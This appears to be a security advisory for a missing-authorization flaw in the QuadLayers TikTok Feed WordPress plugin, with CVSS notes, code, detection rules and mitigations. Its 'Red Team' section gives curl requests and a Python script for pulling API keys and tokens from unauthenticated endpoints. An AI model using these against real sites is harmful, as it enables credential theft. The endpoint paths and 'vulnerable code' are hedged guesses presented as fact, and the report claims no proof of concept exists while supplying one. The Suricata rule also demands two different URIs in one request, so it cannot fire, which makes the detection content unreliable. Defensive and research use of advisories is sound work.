CVE-2025-63016

Executive Summary

CVE-2025-63016 is a Missing Authorization vulnerability in the QuadLayers TikTok Feed WordPress plugin (slug: wp-tiktok-feed). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data exposure or manipulation of TikTok feed settings. The vulnerability affects all versions up to and including 4.6.6. As of this report, no official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is available. The CVSS score is 5.3 (Medium), with a low attack complexity and no user interaction required. Given the widespread use of TikTok feeds in WordPress sites, this vulnerability poses a moderate risk to confidentiality.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. No known supply chain compromise (e.g., malicious commits, backdoored packages) has been reported. However, because the plugin is unpatched, site administrators should consider it a supply chain risk and evaluate alternative plugins or implement virtual patching.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests active exploitation is unlikely at this time, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability resides in the QuadLayers TikTok Feed plugin’s REST API endpoints or AJAX handlers. The plugin fails to properly enforce capability checks (e.g., wp_verify_nonce or current_user_can) before executing sensitive operations such as:

• Retrieving TikTok feed settings (API keys, user tokens).
• Modifying feed display options.
• Accessing cached feed data.

An unauthenticated attacker can send crafted HTTP requests to endpoints like /wp-json/wp-tiktok-feed/v1/settings or /wp-admin/admin-ajax.php?action=wp_tiktok_feed_get_data to retrieve or alter configuration data. The missing authorization check allows the attacker to bypass intended access controls.

Root Cause: The plugin uses add_action('wp_ajax_nopriv_*', ...) for some endpoints without verifying user capabilities, or it relies on client-side checks that can be bypassed.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (wp-tiktok-feed/includes/class-api.php):

add_action('rest_api_init', function () {
    register_rest_route('wp-tiktok-feed/v1', '/settings', array(
        'methods' => 'GET',
        'callback' => 'get_tiktok_settings',
        'permission_callback' => '__return_true' // Missing authorization
    ));
});

function get_tiktok_settings() {
    return get_option('wp_tiktok_feed_settings');
}

Patched Code (Hypothetical):

add_action('rest_api_init', function () {
    register_rest_route('wp-tiktok-feed/v1', '/settings', array(
        'methods' => 'GET',
        'callback' => 'get_tiktok_settings',
        'permission_callback' => function () {
            return current_user_can('manage_options');
        }
    ));
});

function get_tiktok_settings() {
    if (!current_user_can('manage_options')) {
        return new WP_Error('rest_forbidden', 'You do not have permission.', array('status' => 403));
    }
    return get_option('wp_tiktok_feed_settings');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with QuadLayers TikTok Feed <= 4.6.6 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint by scanning for common REST API routes:

   curl -s http://target.com/wp-json/wp-tiktok-feed/v1/settings
   

2. If the endpoint returns plugin settings (e.g., API keys, tokens), the vulnerability is confirmed.
3. For AJAX-based endpoints, send a POST request:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d 'action=wp_tiktok_feed_get_data&nonce='
   

4. Extract sensitive data from the response.

Automation Script (Python):

import requests

target = "http://target.com"
endpoints = [
    "/wp-json/wp-tiktok-feed/v1/settings",
    "/wp-admin/admin-ajax.php?action=wp_tiktok_feed_get_data"
]

for endpoint in endpoints:
    r = requests.get(target + endpoint)
    if r.status_code == 200 and "api_key" in r.text:
        print(f"[+] Vulnerable: {endpoint}")
        print(r.text)

Blue Team

Detection:

• Monitor for unusual requests to /wp-json/wp-tiktok-feed/v1/* or /wp-admin/admin-ajax.php with action=wp_tiktok_feed_* from unauthenticated IPs.
• Alert on HTTP 200 responses from these endpoints without a valid nonce or authentication cookie.

Honeypot:

• Deploy a fake endpoint that returns decoy data and logs the attacker’s IP.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-json/wp-tiktok-feed/v1/settings or /wp-admin/admin-ajax.php?action=wp_tiktok_feed_get_data from unauthenticated sources.
  • User-Agent strings not matching typical browsers (e.g., curl/7.x, python-requests/2.x).
• File:
  • Unauthorized modifications to wp-content/plugins/wp-tiktok-feed/ files (e.g., altered class-api.php).
• Log:
  • WordPress debug log entries showing rest_forbidden errors (if patched) or missing capability checks.

Detection Engineering

YARA Rule

rule CVE_2025_63016_QuadLayers_TikTok_Feed {
    meta:
        description = "Detects vulnerable QuadLayers TikTok Feed plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63016"
    strings:
        $vuln_func = "permission_callback" ascii wide nocase
        $vuln_value = "__return_true" ascii wide nocase
        $plugin_path = "wp-tiktok-feed" ascii wide nocase
    condition:
        $plugin_path and $vuln_func and $vuln_value
}

Sigma Rule

title: CVE-2025-63016 - QuadLayers TikTok Feed Missing Authorization
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects unauthenticated access to QuadLayers TikTok Feed REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "/wp-json/wp-tiktok-feed/v1/settings"
            - "/wp-admin/admin-ajax.php?action=wp_tiktok_feed_get_data"
    condition: selection
falsepositives:
    - Legitimate admin requests (should include authentication cookies)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-63016 - QuadLayers TikTok Feed Missing Authorization Attempt";
    flow:to_server,established;
    content:"/wp-json/wp-tiktok-feed/v1/settings"; http_uri;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wp_tiktok_feed_get_data"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by QuadLayers.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to the vulnerable endpoints:

   location ~* /wp-json/wp-tiktok-feed/ {
       if ($http_cookie !~* "wordpress_logged_in") {
           return 403;
       }
   }
   

3. Monitor logs for exploitation attempts using the Sigma rule above.

Long-Term Fix:

• Contact QuadLayers support and request a security update.
• Consider switching to an alternative TikTok feed plugin with active security maintenance.

Virtual Patching (if WAF available):

• Block requests to /wp-json/wp-tiktok-feed/v1/settings and /wp-admin/admin-ajax.php with action=wp_tiktok_feed_* unless they include a valid nonce.

Valters IT